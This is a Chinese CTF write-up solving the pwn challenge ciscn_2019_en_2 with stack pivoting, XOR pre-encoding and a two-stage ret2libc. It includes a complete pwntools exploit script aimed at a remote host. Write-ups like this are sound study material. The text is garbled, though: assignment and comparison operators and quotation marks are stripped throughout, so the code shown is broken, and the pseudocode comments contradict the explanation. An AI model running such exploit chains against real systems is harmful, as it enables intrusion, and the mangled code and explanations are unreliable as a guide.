
1. 题目初印象一道看着基础、实则藏坑的PWN题CISCN 2019华北赛区的这道ciscn_2019_en_2在PWN方向算是比较经典的一道栈迁移入门题。很多人第一次拿到它会觉得“这不就是个溢出的简单题嘛”结果真动手做才发现里面那个自定义的加密函数能把人绕晕栈迁移的细节也不是一上来就能整明白的。如果你正在刷CTF的PWN栈题想从“会溢出但不会打通”过渡到“能独立打出ROP链”这道题是一个特别合适的练手样本。先说整体评价题目给了输出函数、给了溢出点、甚至还在main里留了一个格式化字符串漏洞的“幻影”保护方面只开了NX栈不可执行没有canary、没有PIEPartial RELRO可以让GOT表继续可写。表面看非常温柔实际上真正的拦路虎有三个一是能溢出的字节数极少一次只够覆盖返回地址二是代码里有一个加密函数会更改栈上的payload三是单次利用拿不到shell必须分两段来打。这篇文章就围绕这三个问题展开把整道题的静态分析、利用思路、完整exp和踩坑记录都过一遍。我自己刷这道题的时候前后卡了将近一个下午。网上很多exp直接甩出来就完事但没人讲清楚为什么payload要异或0x11、为什么伪造rbp要减8、为什么第一次要先往bss段写一条链。这篇博文你只要跟着走下去把这些“为什么”全部捋明白以后遇到栈迁移的题基本就不会再虚了。2. 前期准备与漏洞排查思路2.1 拿到题后先做信息收集不管是CTF比赛还是平时练习拿到一个ELF文件别急着扔IDA先跑一遍checksec再跑一遍程序感受一下交互流程这两步能帮你省下大量时间。我用的环境是Ubuntu 18.04的虚拟机配合pwndbg和IDA Pro 7.5。先做基础检查file ciscn_2019_en_2 checksec --file./ciscn_2019_en_2输出结果大致是这样的Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)一行一行看64位程序小端序Partial RELRO意味着GOT表可写理论上可以考虑改GOT没有栈canary保护这是栈溢出能够成立的前提NX开启说明栈上不能执行shellcode必须走ROPPIE没开说明程序加载基址固定是0x400000所有函数地址和gadget地址都可以直接在IDA或objdump里查死值。运行一下程序welcome to ciscn_2019然后会等待输入。正常交互后继续输入程序走完就退出了没有循环。这里有个关键点程序退出前只调用了一次加密函数也就是说你的溢出机会只有一次这就决定了后面必须做栈迁移而不是简单地“溢出一次拿shell”。2.2 静态分析的几个关键点用IDA打开main函数伪代码大概长这样int __cdecl main(int argc, const char **argv, const char **envp) { char v2[8]; // 栈上变量 puts(welcome to ciscn_2019); printf(v1); // v1是bss段全局变量初始为0 gets(v2); // 向bss段某个位置写数据 encrypt(); // 栈溢出点 return 0; }有几个细节需要解释一下。main里的printf(v1)虽然看起来是一个格式化字符串漏洞但v1是bss段的一个全局变量初始内容为空字节正常情况下这里不会输出任何可控内容。网上有些文章说这道题可以用格式化字符串漏洞但实际做题时会发现这个点很难直接利用因为v1的内容并不可控或者说要配合其他操作才能让它可控。所以更主流的解法完全绕开它主攻点在encrypt函数。encrypt函数的伪代码是这个样子unsigned __int64 encrypt() { char buf[80]; // 实际是0x50 unsigned __int64 i; unsigned int j; read(0, buf, 0x60uLL); for (j 0; j strlen(buf); j) { if (buf[j] 64 buf[j] 90) buf[j] ^ 0x10; else if (buf[j] 96 buf[j] 122) buf[j] ^ 0x11; else if (buf[j] 47 buf[j] 57) buf[j] ^ 0x20; else buf[j] ^ 0x11; } return i; }这就是整个题目最容易让人发懵的地方read最多读入0x60字节而buf只有0x50字节所以可以直接覆盖返回地址溢出了0x10字节。但读入的数据会经过一个自定义的加密逻辑大小写字母分别异或0x10/0x11数字异或0x20其他字符统一异或0x11。我们的ROP链里填充的地址、垃圾数据大多不属于字母数字范围所以加密函数会统一把它们异或0x11。这意味着你在发送payload之前得预先对payload整体异或0x11让加密函数“解密”回真正的ROP链。还有一点要特别注意for循环的次数依赖于strlen(buf)。如果payload里有\x00strlen会在遇到第一个零字节时停止后面的字节不会经过加密处理。但问题是加密函数是先把read读到的数据存进栈再原地修改的如果strlen提前截断前面的合法字节可能已经被加密破坏了后面的字节又没被加密整个payload就是“一半加密一半没加密”完全乱套。所以在构造payload时要么保证所有字节经过预异或后不含零要么就选择让strlen走完整条payload。实际操作里我会把最终要落到栈上的数据记为real_chain发送内容则是real_chain ^ 0x11这样加密函数处理完栈上正好是real_chain。3. 利用思路为什么必须做栈迁移3.1 一次溢出能控制多少东西buf到保存的返回地址之间距离是0x50字节但read只会读入0x60字节。也就是说我们真正能覆盖到的范围是0x50个填充字节加8字节的旧rbp再加8字节的返回地址。溢出量只有两个qword。如果你直接把返回地址改成某个one_gadget大概率会因为栈环境不满足而失败改成system(/bin/sh)的ROP链呢一条完整的execve链至少需要多个gadget连续排列而我们只有一次跳转机会栈上剩下部分并不受我们控制。所以在这种“溢出字节少但能控制rbp和ret”的情况下最自然的思路就是把栈指针rsp劫持到一块我们能写大量数据的内存区域然后在那块区域里布置完整的ROP链。这个过程就是栈迁移Stack Pivot。3.2 栈迁移的原理核心在leave; ret栈迁移依赖的指令是leave; ret。x86-64下leave等价于mov rsp, rbp pop rbp先把栈指针恢复到当前函数栈帧的底部再从栈上弹出一个值到rbp。ret则是从栈顶弹出地址并跳转。正常函数返回时编译器会生成leave; ret这是每个函数的标配收尾动作。如果我们能把旧的rbp覆盖成某个可控地址返回地址覆盖成另一处leave; ret的地址那么就会触发两次leave; ret第一次leave; ret是encrypt函数自身的收尾作用是把rsp移回当前rbp并弹出我们伪造的rbp值。第二次leave; ret是我们跳过去重新执行的它会执行mov rsp, rbp; pop rbp; ret。此时rbp已经被我们控制rsp就会跟着迁到我们指定的位置。用一个生活化的类比正常函数的栈就像你正在用的办公桌桌上只有几张纸能写肯定不够用。栈迁移的思路就是先把备用营地bss段里的作战计划写好然后在办公桌销毁的时候把“指挥权”移交到备用营地让程序继续从备用营地里取指令执行。3.3 为什么伪造rbp时要减8这是很多新手第一次做栈迁移最困惑的地方。假设我们要把栈迁移到bss段的起始地址bss_start那么覆盖rbp的值应该是bss_start - 8返回地址是leave_ret。原因是这样的。当程序执行到第二次的leave; ret时leave会先把rsp指向rbp此时rbp bss_start - 8然后执行pop rbp这个操作会从bss_start - 8处读取8字节到rbp同时rsp变成bss_start。紧接着ret从bss_start处读取8字节作为返回地址并跳转。所以实际上bss段的前8字节会被当成新的rbp值弹出丢弃真正开始执行ROP链的位置在bss_start 8。为了不浪费空间我们通常会在bss段的起始8字节填一个占位垃圾值然后从bss_start 8开始布置第一条指令地址。3.4 两段式利用的设计因为没有循环程序调用一次encrypt就退出了所以一次栈迁移虽然能执行一条ROP链但这条链要完成“泄露libc地址”“再次获得输入”两部分功能。设计如下第一段链调用puts(putsgot)把GOT表中puts的真实地址打印出来然后跳回main让程序重新走一遍流程给我们第二次输入机会。拿到泄露地址后通过LibcSearcher或本地libc文件计算出system和/bin/sh的地址。第二段链在bss段上布置pop rdi; ret、/bin/sh地址、system地址再次栈迁移后直接执行system(/bin/sh)。有人可能会问为什么不第一段链直接执行puts(putsgot)后跳到encrypt而是跳回main跳回encrypt理论上也行但需要重新构造栈环境和加密逻辑容易出问题。跳回main的好处是main会重新调用gets向bss段写入新的ROP链然后再次调用encrypt触发栈迁移整个流程复用第一段逻辑最简单踩坑最少。4. 完整exp与核心环节实现4.1 先找gadget和地址把程序拖进pwndbg或者用ROPgadget查gadgetROPgadget --binary ./ciscn_2019_en_2 --only pop|ret ROPgadget --binary ./ciscn_2019_en_2 --only leave|ret我本地环境里拿到的结果是pop_rdi 0x400ad3 leave_ret 0x400a18不同版本题目附件可能地址略有差异但只要你用的是同一份题目二进制这两个地址通常不会变。如果你复现时发现地址对不上不要硬抄用ROPgadget重新查一下就知道了。还需要确认几个符号地址puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] bss_addr 0x601080这里重点说下为什么用putsgot而不是直接泄露其他函数。puts在程序里确实被调用了GOT表里有它的真实地址而且puts打印字符串时遇到\x00会停止、遇到换行会输出换行符非常适合用来泄露libc地址。如果你用printf来泄露会多出很多干扰字符解析比较麻烦。4.2 payload构造与异或逆变换这道题的payload构造要分两层理解。第一层是实际写到栈上的ROP链。第一段栈迁移的栈上链子# bss上的布局 chain1 bJUNK * 2 # bss0 会被pop rbp丢弃占8字节 chain1 p64(pop_rdi) # bss8 chain1 p64(puts_got) # bss16 chain1 p64(puts_plt) # bss24 chain1 p64(main_addr) # bss32第二层是实际通过read发送进去的字节。因为encrypt函数会对每个非字母数字字符异或0x11所以我们发送的内容应该是chain1异或0x11之后的结果。同时栈溢出部分的填充字节也要特别注意我们想让栈上最终出现的是0x50个\x00那么发送时就要发送0x50个\x11因为0x11 ^ 0x11 0x00。完整的第一次发送构造如下payload b\x11 * 0x50 payload p64(bss_addr - 8) # 覆盖旧rbp payload p64(leave_ret) # 覆盖返回地址 payload xor(payload, 0x11)注意这里有个细节覆盖旧rbp的bss_addr - 8和返回地址leave_ret也属于需要被“解密”的字节所以在拼接完之后统一做异或而不是只对填充部分异或。用pwntools自带的xor函数处理非常方便。整体发送流程是先用main里的gets往bss段写入chain1gets会读入并写入bss然后调用read输入上述溢出payload触发栈迁移。有的题目main里那个写bss的函数不叫gets但本质都是往bss段写数据发送方式大同小异。4.3 第一次连接泄露puts地址先给出第一段exp的核心代码def exploit_first(p): p.recvuntil(bwelcome to ciscn_2019\n) chain bJUNKJUNK # bss0 占位 chain p64(pop_rdi) # bss8 chain p64(puts_got) # bss16 chain p64(puts_plt) # bss24 chain p64(main_addr) # bss32 p.sendline(chain) payload b\x11 * 0x50 payload p64(bss_addr - 8) payload p64(leave_ret) payload xor(payload, b\x11) p.send(payload) puts_addr u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) return puts_addr这段代码里两个细节值得展开讲。第一个细节为什么用recvuntil(b\x7f)因为glibc的地址通常以0x7f开头puts打印GOT表里的真实地址时会输出从低位到高位的字节序列比如0x7f........。我们截取到第一个以0x7f结尾的6字节补成8字节就是puts的真实地址。这个办法在本地和远程都很稳比你固定写recv(6)要通用得多。第二个细节为什么用send而不是sendlineencrypt的read读0x60字节如果你用sendline末尾会多一个\n这个\n也会被读进去、参与异或加密虽然通常不影响栈迁移但为了payload长度精确可控这里最好用send一次发完0x60字节。泄露之后计算libc基址libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh))如果你不知道远程靶机的libc版本可以用LibcSearcherfrom libcsearcher import LibcSearcher obj LibcSearcher(puts, puts_addr) libc_base puts_addr - obj.dump(puts) system_addr libc_base obj.dump(system) binsh_addr libc_base obj.dump(str_bin_sh)这一步是最容易出现“本地通远程挂”的环节后文会专门讲。4.4 第二次连接栈迁移拿shell第一次连接跑完程序跳回main会再走一遍gets和encrypt。第二次的利用方式和第一次几乎一样只是bss段上布置的链条从“泄露地址”换成了“执行system”。第二次的链子chain2 bJUNKJUNK chain2 p64(pop_rdi) chain2 p64(binsh_addr) chain2 p64(system_addr)然后发送方式和第一次完全相同def exploit_second(p): p.recvuntil(bwelcome to ciscn_2019\n) p.sendline(chain2) payload b\x11 * 0x50 payload p64(bss_addr - 8) payload p64(leave_ret) payload xor(payload, b\x11) p.send(payload) p.interactive()执行到p.interactive()后如果一切正常你已经拿到shell了。如果没拿到最常见的原因不是链子错了而是异或处理没做好或者libc基址算错了。4.5 完整exp统一脚本把两段整合到一起调试方便。我这里把本地调试和远程攻击统一写成一份脚本用命令行参数切换from pwn import * context.arch amd64 context.log_level info io_local False elf ELF(./ciscn_2019_en_2) if io_local: libc ELF(/lib/x86_64-linux-gnu/libc.so.6) p process(./ciscn_2019_en_2) else: libc ELF(./libc-2.27.so) p remote(ip, port) pop_rdi 0x400ad3 leave_ret 0x400a18 bss_addr 0x601080 main_addr elf.symbols[main] puts_plt elf.plt[puts] puts_got elf.got[puts] def send_payload(p, chain): p.recvuntil(bwelcome to ciscn_2019\n) p.sendline(chain) payload b\x11 * 0x50 payload p64(bss_addr - 8) payload p64(leave_ret) payload xor(payload, b\x11) p.send(payload) # 第一次泄露 chain1 bJUNKJUNK chain1 p64(pop_rdi) chain1 p64(puts_got) chain1 p64(puts_plt) chain1 p64(main_addr) send_payload(p, chain1) puts_addr u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) log.success(puts_addr: hex(puts_addr)) libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) log.success(libc_base: hex(libc_base)) log.success(system_addr: hex(system_addr)) log.success(binsh_addr: hex(binsh_addr)) # 第二次getshell chain2 bJUNKJUNK chain2 p64(pop_rdi) chain2 p64(binsh_addr) chain2 p64(system_addr) send_payload(p, chain2) p.interactive()这份脚本里send_payload函数统一处理了“往bss段写链子”和“发送栈溢出payload”两步避免两段代码重复写两遍。实际比赛的时候这种封装能节省大量时间也减少出错概率。5. 常见问题与排查技巧实录5.1 strlen截断导致payload没被完全加密这个坑太经典了。encrypt函数里循环条件是j strlen(buf)如果你的payload里有\x00strlen在第4个字节就停了后面的字节虽然被read写进栈但不会参与异或而前面几个字节却被异或了整个ROP链就没法还原。这个问题最好的解决办法就是开头讲过的异或预处理所有payload统一xor 0x11之后再发送。你会发现原本地址里的\x00异或0x11后会变成\x11不再是strlen的终止符。数据经过加密函数后又被还原成原始地址和填充值。我建议在调试阶段不管三七二十一先对最终发送的payload整体做xor(payload, b\x11)不要手动判断哪个字节需要异或。这样做虽然多了一步但保证逻辑统一几乎不会出错。5.2 本地能打通远程却不回显远程打不通90%是libc版本不对。同一个puts真实地址在不同glibc里对应的偏移完全不同。本地可以偷懒直接用/lib/x86_64-linux-gnu/libc.so.6但远程题目的libc大概率和你本地不是一个版本。解决办法很简单要么比赛给了libc.so文件直接加载它计算偏移要么用LibcSearcher根据泄露的puts地址搜索匹配的libc。实际比赛里LibcSearcher偶尔会命中多个结果这时可以再多泄露一个__libc_start_main地址来交叉确认或者直接结合远程的Ubuntu版本推测。另外一个细节如果你在远程环境里执行p.sendline(chain)注意chain里可能包含\x0a之类的字节gets读到\n就停止但\x0a本身也是合法payload的一部分。在栈迁移链子里p64地址中如果包含0x0a使用gets读入时会造成提前截断这也是一些题目真正麻烦的地方。不过ciscn_2019_en_2里我构造的chain1和chain2通常不会踩到这个雷如果不放心可以把bss上的地址选得巧妙一点或者用能接收空字节的函数来写。5.3 用pwndbg检查加密是否按预期还原调试的时候我习惯在encrypt函数的返回地址处下断点然后查看栈上数据和bss段数据确认加密后的结果是不是我们真正想要的链子。具体操作b *0x400A18 # 这里的地址是leave_ret也就是encrypt返回后会跳转的地方 run发送payload后程序停在断点处执行x/10gx $rbp x/20gx 0x601080如果0x601080附近看到连续的ROP链地址说明payload加密处理正确如果看到乱码或者一堆无规律字节说明异或预处理没做好或者strlen截断影响了加密流程。我之前调试时遇到过一种情况bss段确实是我们的chain但栈上填充区却出现了大量0x11而不是0x00。后来发现是忘记对整个溢出payload做异或导致发送的0x11填充原样进入buf加密函数又把它们异或成0x00之外的值。这类问题用gdb一看就非常明显。5.4 gets、read和sendline的选择main里那个写bss的函数很多人以为只是普通输入但它和后面read的配合很容易出问题。具体来说bss段的写入发生在encrypt调用之前使用的是行输入会一直读到换行符为止而encrypt里的read是固定长度读取0x60字节不接受换行符截断。所以在exp里我用sendline写bss段因为gets需要换行符结束用send发溢出payload因为read要精确读0x60字节。如果反过来用要么payload读不完整要么bss段的内容多了个换行符导致后面ROP链解析错位。5.5 拿不到shell时排查顺序如果第二段跑完没进入shell我会按从简单到复杂的顺序排查先确认第一段泄露的puts地址是否合理比如低12位是否和libc中puts的偏移低12位一致。如果低12位对不上说明解析数据有问题不是libc版本问题。确认system和binsh计算是否正确。用libc.search(b/bin/sh)时如果libc文件选错搜到的地址可能根本不可读。在system调用前加ret对齐这道题里一般不需要因为pop rdi; ret已经足够对齐栈但不排除个别libc版本对栈对齐有要求。遇到SIGSEGV时可以在chain开头加一个retgadget试一下。检查第二次的bss段是不是被上一次的残留数据污染。如果bss地址选得离第一次太近第二次写入的chain可能会覆盖第一次的遗留内容只要保证chain2总长度不超过bss区域就行。5.6 用无字母数字字节减少意外分支encrypt的加密逻辑里如果某个字节落在大写字母A-Z区间会异或0x10落在小写字母a-z区间异或0x11落在数字0-9区间异或0x20。这意味着如果我们的payload里出现A这样的字符加密函数不会用统一的0x11处理而是异或0x10。虽然用整体xor 0x11预处理后正常情况下不会出现字母数字字符但你仍要小心chain2里的/bin/sh地址它是从libc里搜出来的某个字节可能恰好是字母或数字。如果真出现这种情况实际上不会影响栈上的链子因为这个地址是作为参数传给system的system会去内存中读取这个字符串内容并不会被encrypt函数二次处理。真正会被加密的只有栈上和bss段里的ROP链指令地址而这些地址几乎不会落在字母数字区间。6. 栈迁移题型的通用经验做完这道题最大的收获不是拿到一次shell而是把栈迁移这个技术点彻底吃透了。以后再遇到“溢出字节不够”“栈上空间受限”“只能控制rbp和ret”的题目第一反应就应该是栈迁移。通用的思考套路是这样的先看溢出能控制多少字节。如果只能覆盖到返回地址那就找找有没有一个合适的可控内存区域可以存放完整ROP链比如bss段、堆段甚至栈上更远的位置。然后把目标内存区域的地址减8覆盖给rbp把leave_ret地址覆盖给返回地址触发迁移。迁移后第一条链不要想一次getshell先泄露出libc地址跳回main或者重复入口拿到第二次机会再打system。这套打法不仅适用于ciscn_2019_en_2在很多其他题目里也完全适用。区别只在于bss段能不能写、程序有没有循环、有没有加密逻辑需要绕过。学会了这道题后面再遇到“栈迁移格式化字符串”“栈迁移沙箱”这类组合题你就有基础了。最后分享一个我踩过几次坑之后的个人习惯exp里尽量不要写死魔法偏移所有gadget和符号地址都要从ELF文件里动态取除非你确定题目二进制不会变。这个习惯在比赛时间紧张的时候尤其重要能避免因为一个小数点地址问题浪费半小时。